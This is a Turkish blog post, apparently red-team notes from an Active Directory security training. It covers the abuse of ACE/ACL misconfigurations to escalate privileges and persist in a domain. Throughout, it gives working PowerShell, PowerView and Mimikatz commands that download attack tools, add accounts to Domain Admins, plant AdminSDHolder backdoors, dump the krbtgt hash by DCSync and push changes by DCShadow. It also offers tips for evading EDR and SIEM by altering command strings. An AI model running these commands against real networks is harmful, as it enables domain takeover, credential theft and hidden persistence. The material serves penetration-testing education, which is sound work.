ACE/ACL ile Active Directory Saldırıları

Merhabalar! Bu yazı içerisinde Hacktrick’22 konferansında Furkan Özer anlatımları ile gerçekleştirilen Active Directory Security Assessment eğitiminde öğrenilen, notları alınan ve sonrasında üzerine spesifik araştırmalar yapılarak Pentest/RedTeam mantığına oturtulmaya çalışılan konular silsilesi yer alacaktır, koltuklarınızı dik konuma getiriniz.

Yazıyı genel hatları ile ele aldığımızda; biraz Active Directory ortamlarında yetkilendirme tanımlarını barındıran ACE ve ACL yapılarının ne olduğundan, biraz ACE/ACL yapılarının üzerinde yer alan yanlış yapılandırmalar (misconfiguration) kaynaklı hangi zafiyetlerin ortaya çıktığından ve birazcıkta bu zafiyetlerin sömürülerek Active Directory ortamlarında nasıl yetki yükseltilebildiğinden veya kalıcılık (persistence) sağlanabileceğinden örnek saldırı senaryoları ve metodolojileri ile birlikte bahsedeceğim.

İçindekiler Tablosu

  1. # ACE ve ACL Değerleri
  2. # BloodHound
  3. # ACE/ACL Değerleri ile Domainde Yetki Yükseltme
  4. # ACE/ACL Değerleri ile Domainde Kalıcılık Sağlama

# ACE ve ACL Değerleri

Active Directory ortamında yetkilendirme politikaları ACE ve ACL yapıları ile birlikte sağlanmaktadır. ACE ve ACL yapılarında çok detaylı ve spesifik yetkilendirmeler gerçekleştirilebildiği için saldırganlar bu yapıları kötüye kullanarak domain üzerinde yetki yükseltebilmekte veya tespit edilmesi çok zor backdoorlar yaratarak kalıcılık (persistence) sağlayabilmektedir.

ACE (Access Control Entry): ACE değerleri, yetkilendirme tanımı için kullanılan tekil girdilerdir. Active Directory ortamındaki objeler üzerindeki erişim yetkilerini, yani hangi objenin hangi objeye hangi detayda erişebileceğini kontrol etmek üzere detaylı olarak tasarlanmış güvenlik yapısıdır. Çok detaylı tasarlanması nedeniyle yönetilmesi ve sıkılaştırmaları (hardening) zor olduğundan Pentest/Red Team ekipleri için iştah kabartıcı bir hedef haline gelmektedir. [02]

ACL (Access Control List): ACL değeri, yetkilendirme tanımlarının birlikte oluşturduğu ve objeye erişimlerin nihai kurallarını barındıran girdilerdir ve 2’ye ayrılmaktadır.

  • DACL (Discretionary ACL): Yetkilendirme için kullanılan ACL girdileridir.
  • SACL (System ACL): Objeye erişimin kayıt altına alınması için kullanılan ACL girdileridir.

Pentest/Red Team ekipleri tarafından saldırı senaryolarında kullanılabilecek bazı Active Directory obje izinleri ve türleri ise aşağıdaki gibidir: [03]

  • Owner: Objenin sahibini belirtir, obje sahibinin obje üzerinde herhangi bir değişikliği yapma yetkisi bulunmaktadır.
  • GenericAll: Obje ile ilgili tüm değişiklikleri yapma yetkisidir. (add users to a group or reset user’s password)
  • GenericWrite: Objenin tüm değerlerine (attribute) yazma yetkisidir.
  • WriteDACL: Obje üzerindeki ACE yetkilerini düzenleme yetkisidir ve saldırgana obje üzerinden full yetki sağlayabilmektedir.
  • AllExtended-Rights: Obje üzerinde çeşitli değerler (gruba kullanıcı ekleme, parola resetleme vb.) üzerinde yazma yetkisidir.
    • Force-Change-Password, GetChanges, WriteProperty
  • ForceChangePassword: Kullanıcının parolasını değiştirme yetkisidir.
  • Self (Self-Membership): Kendi kullanıcısını gruba ekleme yetkisidir.
Active Directory Security Assessment – ADSA

Active Directory üzerinde ele geçirilmiş bir hesabı, yetkili bir gruba eklemek yerine (çünkü bu olayda oluşacak event log, testlerin gerçekleştirildiği kurumda birçok güvenlik ürünü alarmını tetikleyebilir) yetkili bir grup üyesi üzerinde ACL backdoor oluşturularak güvenlik ürünleri tarafından tespit edilmeden domain üzerinde yetki yükseltilebilir ve kalıcılık (persistence) sağlanabilir.

redTeam op 1

# BloodHound

BloodHound için kısaca bütün active directory ilişkilerini ve bu ilişkilerdeki güvensiz yapılandırmaları tespit ederek OffSec ekipleri için graph arayüzünde tüm bu verileri sunan araçtır diyebiliriz. BloodHound kurulumu [04], Active Directory üzerinden gerekli dataları toplama metodları [05] ve detaylı bilgi edinimi için referanslara eklenmiş olan kaynaklar incelenebilir keza BloodHound’un ne olduğuna ve BloodHound çıktılarına göre yapılabilecek saldırı senaryolarına dair birçok blog yazısı mevcut durumda.

Yazı içerisinde basit olarak Active Directory ortamından gerekli data setlerini nasıl elde edilebileceği ve BloodHound’a import edilerek nasıl görüntülenebileceği noktalarının yer alması yeterli olacaktır.

Domain’e bağlı olan ve standart yetkilere sahip olan bir AD kullanıcısı ile oturum açılmış bir client üzerinde SharpHound çalıştırılarak gerekli veriler elde edilebilir.

Invoke-WebRequest -uri https://github.com/koparmalbaris/SelfNotes/raw/main/usefulbinaries/SharpHound.exe -out SharpHound.exe
.\SharpHound.exe -c all
SharpHound indirilerek çalıştırılmıştır.
Active Directory ortamına ait veriler ilgili .zip dosyası içerisine kayıt edildi.
SharpHound.exe çıktısı sonucu elde edilen .zip dosyası BloodHound üzerine import edilmiştir. Artık Active Directory üzerinde yer alan misconfiguration’lara yönelik denetimler gerçekleştirilebilir.

Active Directory üzerinde Enterprise Admins veya Domain Admins gibi en yetkili gruplar dışında; DnsAdmins, Group Policy Creator Owners, Print Operators, Server Operators ve Account Operators gruplarında yetkili olan bir kullanıcı ele geçirilmesi durumunda yine tüm Active Directory üzerinde farklı metodlar ile komut çalıştırabilmek mümkün hale geliyor.

Örnek olarak Group Policy Creator Owners grubu yetkilerine sahip olan bir kullanıcının ele geçirilmesi durumunda; DLL Injection gibi saldırı vektörlerini gerçekleştirecek GPO’lar hazırlanarak merkezi bir sistemden AD’ye bağlı tüm client sistemlere doğru saldırılar gerçekleştirilebilir.

Veya diğer örnek saldırı senaryolarında:

  • DnsAdmins grubu, DNS Sunucusu üzerinde DLL ile komut çalıştırma yetkisine,
  • Print Operators grubu, sunucular üzerinde yazıcı driverları ekleyerek komut çalıştırma haklarına,
  • Server Operators grubu, sunucuların yönetimlerini gerçekleştirme yetkilerine,
  • Account Operators grubu Active Directory hesaplarının yönetimini gerçekleştirme yetkilerine sahip olduğundan bu yetki ve haklar ile Active Directory üzerinde farklı saldırı senaryoları kurgulanabilmektedir.

# ACE/ACL Değerleri ile Domainde Yetki Yükseltme

## AddMember ACL ile Yetki Yükseltme Senaryosu

AddMember ACL’i olan Palpatine kullanıcısı üzerinden Domain Admin yetkilerine yetki yükseltme senaryosu kurgulayalım. Bloodhound üzerinden incelediğimizde Palpatine kullanıcısının Domain Admins grubuna AddMember ACL’i ile erişim sağlayabileceğini görüyoruz.

AddMember ACL’i olduğuna göre Domain Admins yetkilerinde kullanıcı ekleme hakkımız olduğunu anlayabiliyoruz. [06] Burada ki misconfigurationu sömürerek Domain Admins grubuna kullanıcı ekleyebiliriz. Saldırı için ise Powerview aracını kullanacağız. [07]

Powerview kurulumu için github üzerinden ilgili modül indirilerek modül içerisinde yer alan fonksiyonların powershell’e import edilmesi gerekmekte. CLI üzerinden Powerview’i indirmek için Powershell’de ki Invoke-WebRequest kütüphanesini kullanacağız. Bu sebep ile sunucu üzerinde ilk olarak Powershell’de karşılaşılabilecek olan SSL/TLS hatasını gidermemiz gerekebilir.

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

Powerviewi Github’tan indirelim ve modülü import edelim.

Invoke-WebRequest -Uri https://raw.githubusercontent.com/koparmalbaris/SelfNotes/main/usefulfiles/PowerView.ps1 -out PowerView.ps1
Import-Module .\PowerView.ps1

İstenilen obje üzerinde yer alan tüm ACL bilgilerinin listelenmesi için Get-DomainObjectAcl fonksiyonu kullanılabilir. Bu komut ile birlikte kullanıcılar ve objeler incelenerek güvensiz bir ACL tespit edilmesi durumunda bu kullanıcı üzerinden Active Directory’e yönelik saldırılar gerçekleştirilebilir.

Get-DomainUser -Identity "Palpatine" | Get-DomainObjectAcl -ResolveGUIDs

Plaintext parola secure-string formatına dönüştürülüyor. (Powershell’de parola direkt plain-text olarak değiştirilemiyor bu sebep ile aşağıdaki komut ile belirleyeceğimiz parolayı SecureString değere dönüştürmemiz gerekiyor.)

$SecPassword = ConvertTo-SecureString 'DieToAnakin123' -AsPlainText –Force

Kullanıcı adı ve parola ile credential objesi oluşturuluyor

$Cred = New-Object System.Management.Automation.PSCredential('darkside\Palpatine', $SecPassword)

Add-DomainGroupMember fonksiyonu ile Palpatine kullanıcısı Domain Admins grubuna ekleyelim

Add-DomainGroupMember -Identity 'Domain Admins' -Members 'Palpatine' -Credential $Cred

Palpatine kullanıcısının Domain Admins grubuna eklendiğini görüntülemek için Domain Admins grubunda yer alan kullanıcılar aşağıdaki komut ile listelenebilir.

Get-DomainGroupMember -Identity 'Domain Admins'

## PrivExchange ile Yetki Yükseltme Senaryosu

Exchange sunucusunun bilgisayar hesabı varsayılan olarak domain objesi üzerinde yetkili ACE (WriteDACL) değerlerine sahiptir. Bu yetki ile Exchange sunucusu domain objesi üzerindeki yetkileri değiştirebilmekte ve istediği objeye yetki verebilmektedir.

Active Directory ortamında mail kutusu bulunan bir kişi Exchange sunucusu üzerinde PushSubscription isimli bir mekanizma oluşturabilmektedir. Bu mekanizma sayesinde Exchange sunusundan istenilen sunucuya bildirim paketi gönderilebilmektedir. Bir saldırgan bahsedilen bu mekanizmaları kullanarak yetki yükseltme saldırısı gerçekleştirebilmektedir.

Mail kutusuna sahip bir domain kullanıcısını ele geçiren bir saldırgan öncelikle PushSubscription ile Exchange sunucusundan kendi kontrol ettiği bir sunucuya istek yaptırır. Saldırgana gelen bu istek HTTP protokolünü ve NTLM kimlik doğrulama yöntemini kullanmaktadır. Saldırgan Exchange bilgisayar hesabına ait NTLM kimlik doğrulama paketini NTLM Relay saldırısı ile LDAP protokolünü kullanarak DC sunucusuna yönlendirir.

Abusing Exchange: One API call away from Domain Admin

Domain Controller sunucusuna başarıyla erişim sağlandıktan sonra, Exchange sunucusunun domain üzerinde WriteDACL yetkisi de bulunduğu için istenilen objeye domain objesi üzerinde GetChanges ve GetChangesAll yetkisi verilir. Son adımda ise bu obje ile Domain Controller sunucusunda ki parolalar replike edilerek tüm hesapların parola hashleri elde edilebilir.

PrivExchange saldırı metodolojisi & PoC’a dair detaylı teknik blog yazısına [08] ve saldırının gerçekleştirilebileceği scriptlerin yer aldığı github reposuna [09] referanslar üzerinden erişim sağlanabilir.

Ayrıca Active Directory üzerinde Gruplar’a dahil olan kullanıcılar, gruplar üzerinde olan tüm yetkilere sahip olmaktadır. Gruplar, bünyesindeki yetkileri (ACL, Local Admin vb.) barındırdıkları üye/objelere aktarırlar. Bu sebep ile bariskoparmal kullanıcısı direkt olarak Domain Admins veya Enterprise Admins grubunda olmasa da, ekli olduğu bir grup Domain Admins grubunda yer alıyor ise (isterse 50. grup, isterse 500. grup üzerinden fark etmez) aynı şekilde bariskoparmal kullanıcısı da Domain Admins yetkilerine sahip olmaktadır.

Örneğin: “bariskoparmal” kullanıcısı “Pentesters” grubunda yer almaktadır. Pentesters grubu Domain Admins grubuna tanımlı ise dolaylı yoldan bariskoparmal kullanıcısı da Domain Admins yetkilerine sahip olacaktır.

Bu senaryoda Domain Admins yetkileri için direkt olarak ilk grup üzerinden yetki tanımlanması şart değildir. “Pentester” grubu “Security” grubuna, “Security” grubu “ITAdmins” grubuna ve “ITAdmins” grubunun da “Domain Admins” grubuna bağlı olduğu bir senaryo düşünelim. Bu senaryoda yalnızca “Pentester” grubunda yer alan “bariskoparmal” kullanıcısı dolaylı yoldan Domain Admins haklarına sahip olmaktadır.

redTeam op 2

## WriteDACL ile Yetki Yükseltme Senaryosu

BloodHound üzerinden Domain Admins grubuna erişim sağlanabilen en kısa yolları (Find Shortest Paths to Domain Admins) incelediğimizde Enterprise Admins grubunun (dolayısıyla bu grupta yer alan bütün kullanıcıların) WriteDACL [10] ile Domain Admins grubuna yetki yükseltebileceğini gözlemledik.

BloodHound üzerinden WriteDACL veya diğer tüm ACE/ACL’leri [11] ile neler yapılabileceğini ve ilgili misconfiguration’un nasıl sömürülebileceğini incelemek için ilgili objeye sağ tıkladıktan sonra “Help” butonuna tıklanabilir.

Yetki yükselteceğimiz senaryoyu belirledik, WriteDACL ile Domain Admins yetkilerine geçiş sağlayacağız. Active Directory ortamına geri döndüğümüzde sahip olduğumuz yoda kullanıcısının Enterprise Admins grubunda yer aldığını gözlemledik. Güzel, saldırı için abuse edeceğimiz kullanıcı artık belli.

Active Directory ortamında Domain Admins grubunda yer alan kullanıcıları listelediğimizde sadece Palpatine ve Administrator kullanıcısını görüyoruz. Evet amacımız ilk olarak yoda‘yı master yapmak ve sonra Domain Admins konseyine oturtmak.

Get-DomainGroupMember -Identity 'Domain Admins'

Yoda kullanıcısına gerekli master yeteneklerini (Add-DomainObjectAcl) bahşediyoruz.

$SecPassword = ConvertTo-SecureString 'Master123456' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('darkside\yoda', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Domain Admins" -Rights WriteMembers -PrincipalIdentity yoda

Yoda kullanıcısına gerekli olan Add-DomainObjectAcl yeteneğini tanımladık. Artık Yoda kullanıcısı kendisini Domain Admins konseyine ekleyebilir. Yoda, kendisini iki şekilde konseye dahil edebilir. Birincisi net user komutlarıyla, ikincisi de Powerview’in Add-DomainGroupMember fonksiyonu ile. BloodHound, WriteDACL – Abuse Info sekmesi içerisinde Powerview’i tercih etmemiz gerektiğini belirtiyor. Örnek olması amacı ile iki komutu da ekleyelim, lightsaber seçimini size bırakalım.

RedTeam çalışmalarında çalıştırılan “net user anakin /domain” gibi komutlar EDR, SIEM gibi sistemlerde string değeri üzerinden kolaylıkla tespit edilebilmektedir. Bunun yerine ilgili komutlar;
$ net user /do
$ net user /dom
$ net user “/do”
gibi formatlarda yazılarak domain üzerinde istenilen komut yine çalıştırılabilir ve çalıştırılan komutun string değerlerinin farklı olması sebebi ile güvenlik ürünleri tarafından tespit edilmesinin önüne geçilmesi sağlanabilmektedir.

redTeam op 3
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'yoda' -Credential $Cred

veya

net group "Domain Admins" yoda /add /domain

Domain Admins konseyi üyelerini tekrar listelediğimizde görüyoruz ki artık Yoda kullanıcısı da konseye dahil olmuş. Güç seninle olsun Grogu (:

# ACE/ACL Değerleri ile Domainde Kalıcılık Sağlama

Gerçekleştirilen testler sırasında Domain Admins grubuna kullanıcı eklenmesi durumunda SIEM, EDR gibi güvenlik ürünleri çeşitli kural/korelasyonlar ile bu eventi kolaylıkla tespit edebilmektedir. Bu sebep ile gerçekleştirilecek RedTeam çalışmaları sırasında domain üzerinde yetkili haklar ile kalıcılık sağlamak adına kullanıcılara veya objelere ACL üzerinden Backdoorlar tanımlanabilir. Bu tür ACE/ACL’ler ile oluşturulacak olan Backdoor’ların tespiti ve yakalanma olasılığı oldukça düşük olacaktır.

ACL’lerdeki DENY girdisi ile Active Directory ortamında kimsenin direkt görüntüleyemeyeceği objeler oluşturulabilmektedir. Oluşturulacak bu ACL’ler ile bir kullanıcıya çeşitli yetkiler tanımlanabilir ve sistem üzerinde kalıcılık sağlanabilir. SysAdmin, görsel arayüz üzerinden (Active Directory Users and Computers) incelemeler gerçekleştirdiğinde bu ACL’leri direkt olarak görememektedir.

redTeam op 4

Active Directory ortamında yetki yükseltildikten (herhangi bir admin hesabı ele geçirildikten) sonra istenilen obje üzerindeki ACL değerleri değiştirilebilir. Bu metodoloji ile objelere çeşitli ACL’ler tanımlanarak daha sonra tekrar kullanmak/devreye almak üzere çeşitli backdoorlar [13] oluşturulabilir.

## ACE/ACL değerleri üzerinden Backdoor Oluşturma Senaryoları

  • Ele geçirilen kullanıcıyı Domain Admins grubuna eklemek yerine, herhangi bir Domain Admin kullanıcısının parolasını resetleme yetkisi için gerekli ACE/ACL’i tanımlayarak dilediğimiz zaman Domain Admine yetki yükseltebilir hale gelebiliriz.
  • WriteDACL tanımlanarak Obje üzerindeki ACE yetkilerini düzenleme/değiştirme yetkisi verilir ve bu sayede istendiği zaman domain üzerinde yetki yükseltilebilir veya AddMember yetkisi tanımlanarak istenilen zaman Domain Admins grubuna kullanıcı eklenmesi sağlanabilir.
  • İstenilen objelere GetChanges, GetChangesAll yetkileri eklenerek DCSync yapabilme yetkisi verilebilir.
  • İstenilen objeye admin gruplarından herhangi birine üye ekleme yetkisi verilebilir. (WriteProperty)
  • İstenilen objeye Administrators kullanıcısının parolasını resetleme yetkisi verilebilir. (ForceChangePassword)
  • İstenilen objeye kendisini admin gruplarına ekleme yetkisi verilebilir. (Self-Membership)
  • Yüksek yetkilere sahip bir obje oluşturularak, ilgili obje sonrasında Domain Admins grubuna eklenebilir. Bu obje Active Directory management paneli üzerinden direkt olarak görüntülenemediği için görülmesi ve tespiti oldukça zor olmaktadır. Sadece Domain Admins grubu detaylıca incelendiğinde böyle bir objeye Domain Admin yetkileri verilmiş olduğu görülebilir ve sonrasında ilgili yetkiler kaldırılabilir. Yetkiler kaldırılsa bile obje silinemez ve kalıcılığını korumaya devam eder. Peki biz bu objeye birçok yetki tanımlayabilirsek, testlerimiz sırasında tespit edilsek bile SysAdmin bütün tanımlanan yetkileri teker teker bulup hepsini kaldırabilir mi dersiniz? (: Cevabı sanırım belli, ee buna göre bizim seçeceğimiz en safe & sneaky saldırı metodolojimizde belli o halde.

Zaten yazının Yetki Yükseltme başlığı içerisinde AddMember veya WriteDACL ile nasıl yetki yükseltilebileceğini senaryolar üzerinden uygulamalı olarak anlatmıştım. Persistence adımında direkt olarak yetki yükseltmek yerine kullanıcı için tamamen farklı bir obje oluşturulup, kullanıcıya gerekli ACE/ACL yetkileri tanımlanarak domain üzerinde kolaylıkla gizli kalıcılık (Sneaky Persistence) sağlanabilir. Çeşitli APT grupları da aynı şekilde Sneaky Persistence ile sızmış olduğu kurumlarda aylarca, sessizce en doğru anı beklerler ve… bom

Yazının önceki kısımlarında vermiş olduğum örneklerde olduğu gibi; direkt olarak kullanıcı yetkisinin yükseltilmesi durumunda çeşitli event loglar oluştuğundan güvenlik ekipleri tarafından tespit edilebilme olasılığı daha yüksekken, hedef kullanıcı üzerinde yetki yükseltmeden ilgili kullanıcıya sadece gerekli ACE/ACL’ler üzerinden yetkiler tanımlanarak güvenlik ve log izleme (Log Management, SIEM, SOAR vb.) ürünleri tarafından tespit edilme olasılığı büyük oranda düşürülebilir. Bu bağlamda gerçekleştirilen denetim veya RedTeam çalışmalarında hedeflenen çalışma çıktısına göre saldırı senaryoları & roadmapleri hazırlanmalıdır.

## AdminSDHolder ACL ile Kalıcılık Sağlama

AdminSDHolder (Admin Security Descriptor Holder) Active Directory üzerinde korumalı hesaplar ve gruplar için şablon izinlerini sağlayan konteynerdir. Bu konteyner üzerinde admin objelerine ait olması gereken ACL değerleri yer almaktadır.

SDProp (Security Descriptor Propagation) fonksiyonu, her saatte bir çalışarak AdminSDHolder üzerindeki ACL değerlerine göre admin objelerindeki ACL değerlerini güncellemektedir. Burada ki amaç admin hesaplarının ACL değerlerinin kötü niyetli saldırganlar tarafından veya yanlışlıkla değiştirilmesinin önüne geçmek istenmesidir. Örnek senaryo içerisinde; saldırgan Domain Admins grubu üzerinde kötü amaçlı bir ACL değeri eklese bile bir saat içerisinde bu ACL değeri kontrol edilecek ve ardından silinerek eski haline dönecektir.

Fakat biz AdminSDHolder çalışma yapısında yer alan açıklığı kendi kendi lehimize kullanıp, istediğimiz ACL değişikliğini AdminSDHolder üzerinden yaparsak, yaptığımız ACL değişikliğinin SDProp fonksiyonu sayesinde her saatte bir tekrar tanımlanmasını sağlayabiliriz. Yani ilk eklediğimiz ACL, ACL’in eklendiği obje(ler) üzerinden SysAdmin tarafından silinse bile SDProp fonksiyonu otomatik olarak çalıştığında ilgili ACL’imiz ilgili obje/objelerimize tekrar tanımlanacaktır. [14]

Yani AdminSDHolder ile bir kullanıcıya ResetPassword, GenericAll veya benzer ACL’ler tanımlayarak, her saat başı tekrar Active Directory üzerinde yetki yükseltebileceğimiz farklı ACL’leri elde edebiliriz. Kulağa keyifli geliyor değil mi (:

AdminSDHolder grubuna kullanıcı eklemek için

Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=darkside,DC=local' -PrincipalIdentity Kenobi -Rights All -Verbose

Örnek saldırı senaryosunda AdminSDHolder ile Kenobi kullanıcısına GenericAll yetkisi tanımlamak için

Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName Kenobi -Verbose -Rights All

GenericAll yetki tanımlanmış olan Kenobi kullanıcısı artık dilediği zaman kendisini Domain Admins grubuna ekleyebilir. Kenobi kullanıcısından GenericAll yetkisi manual olarak kaldırılsa bile AdminSDHolder sayesinde GenericAll ACL’i saat başı tekrar Kenobi kullanıcısına tanımlanacak.

net group "Domain Admins" Kenobi /add /domain

## DCSync ile Kalıcılık Sağlama

Active Directory üzerinde Replicating Directory Changes ve Replicating Directory Changes All isimli ACE değerleri bulunmaktadır. Bu ACE’lere sahip olan objeler, Domain Controller sunucularına replikasyon istekleri gönderebilir ve replikasyon işlemi gerçekleştirebilirler. Replikasyon ile birlikte Domain Controller üzerinde bulunan bütün verileri (Active Directory ağı, kerberos bilgileri, parola hashleri vb.) elde edebilirler. [15]

GetChanges ve GetChangesAll ACE yetkileri default olarak Domain Controller’lar ve bazı yetkili gruplara tanımlı olduğundan ilgili ACE yetkilerinin ele geçirilebilmesi mümkün olmaktadır. Yetkilere sahip olduktan sonra ise Active Directory üzerinde istenen obje ve objelerin tamamının parola hashleri ele geçirilebilir. Mimikatz ile gerçekleştirilebilecek örnek saldırı senaryosunda;

iwr -Uri https://github.com/koparmalbaris/SelfNotes/raw/main/usefulbinaries/mimikatz64.exe -OutFile mimikatz64.exe

DCSync saldırısı ile krbtgt kullanıcı hesabının parola hashini elde etmek için

.\mimikatz64.exe "privilege::debug" "lsadump::dcsync /user:krbtgt@darkside.local" "exit"

KRBTGT kullanıcısı, Kerberos protokolünü ve KDC servisini yöneten kullanıcı hesabıdır. Kerberos protokolü ile gerçekleştirilen authentication sırasında kullanılan biletlerin bir kısmı bu hesabın parola özeti ile oluşturulduğu için krbtgt hesabının parola özetinin ele geçirilmesi durumunda tüm sunuculara erişim sağlanabilir duruma gelinir çünkü Domain ortamında yer alan bütün hesaplar için ticket oluşturma hakkına sahip olunur. Bu saldırı vektörüne Kerberos Golden Ticket Attack [16] denmektedir.

Kurum networku içerisinde DCSync saldırısının tespiti için; Domain Controller’lar dışında bir client üzerinden replikasyon isteği gelmesi durumunda alarm üret veya aksiyon al gibi kurallar yazılarak tehdit avcılığı (threat hunting) yapılabilir. [17]

## DCShadow ile Kalıcılık Sağlama

DCSync saldırısında GetChanges ve GetChangesAll ACE yetkileri ile Domain Controller sunucusuna replike isteği yaparak hedeflenen Domain Controller üzerinden istediğimiz dataları çekebiliyorduk. DCShadow saldırı vektöründe ise; DCSync’e ters olacak şekilde saldırgan olarak biz hedeflenen Domain Controller sunucusuna data gönderebiliyoruz. Bu sayede hedeflenen Domain Controller üzerinde bazı attribute’lar yaratılabiliyor ve sunucu/sistemler üzerinde daha gizli backdoorlar oluşturulabiliyor. [18]

Yani bu yöntemde Domain Controller sunucularından replike ile veri alınmaz, tam tersine sahte bir Domain Controller sunucusu taklit edilerek gerçek Domain Controller sunucularına sahte veriler gönderilir. Örnek saldırı senaryoları olarak:

  1. Örneğin krbtgt objesinin pwdhistory attribute değeri değiştirilerek halihazırda kullanılan parola bozulmadan Golden Ticket saldırıları gerçekleştirilebilir.
  2. Objelerin SID-History değerleri değiştirilerek istenilen objenin yetkisi yükseltilebilir.
  3. Objelerin PrimaryGroupID değeri değiştirilerek istenilen obje gizli bir biçimde yetkili gruplara eklenebilir.
  4. Active Directory ortamında istenilen değerlerle yeni objeler oluşturulabilir veya silinebilir.

DCSync ve DCShadow vektörleri ile objeler, ACE/ACL değerleri vb. üzerinde gerçekleştirilen saldırıların bir çoğu herhangi bir log oluşturmamakta veya oluşturulan loglar kurumlar tarafından genellikle takip altına alınmamaktadır. Bu sebep ile sistemler üzerinde gizli kalıcılık sağlamak adına faydalı olan bir saldırı vektörleri olmaktadır.

redTeam op 5

DCShadow örnek saldırı senaryosunda [19] mimikatz ile Active Directory üzerinde yeni bir obje oluşturup, bu objeye attribute’lar tanımlanabilir ve bu veriler DCShadow saldırısı ile gerçek Domain Controller sunucusuna gönderilebilir. Aşağıda yer alan saldırı senaryosunda; Luke adlı bir kullanıcı oluşturulmuş ve sonrasında Domain Admins grubuna eklenmiştir.

.\mimikatz64.exe "privilege::debug" "lsadump::dcshadow /object:Luke /attribute:url /value:bariskoparmal.com" "exit"
.\mimikatz64.exe "privilege::debug" "lsadump::dcshadow /push" "exit"
.\mimikatz64.exe "privilege::debug" "lsadump::dcshadow /object:Luke /attribute:primaryGroupID /value:512" "exit"

Ve kapanış…

Referanslar

[01]: Hacktrick – Active Directory Security Assessment

[02]: Forestall – Active Directory Servis Hesaplarının Güvenliği

[03]: ired.team – Abusing Active Directory ACLs/ACEs

[04]: BloodHound – Installation

[05]: BloodHound – Data Collection

[06]: BloodHound – AddMembers Abuse Info

[07]: PowerSploit – PowerView.ps1

[08]: Abusing Exchange: One API call away from Domain Admin

[09]: Github – PrivExchange

[10]: WriteDacl – Abuse Info

[11]: PayloadsAllTheThings – Abusing Active Directory ACLs/ACEs

[12]: Active Directory Security Assessment – ADSA

[13]: Windows Object Permissions as a Backdoor

[14]: Backdooring AdminSDHolder for Persistence

[15]: A primer on DCSync attack and detection

[16]: Kerberos: Golden Tickets

[17]: Active Directory Replication User Backdoor

[18]: HackTricks – DCShadow

[19]: PentestLab – DCShadow Exploitation

0x045

ACE/ACL ile Active Directory Saldırıları” için bir yanıt

Add yours

Yorum bırakın

WordPress.com'da bir web sitesi veya blog oluşturun

Yukarı ↑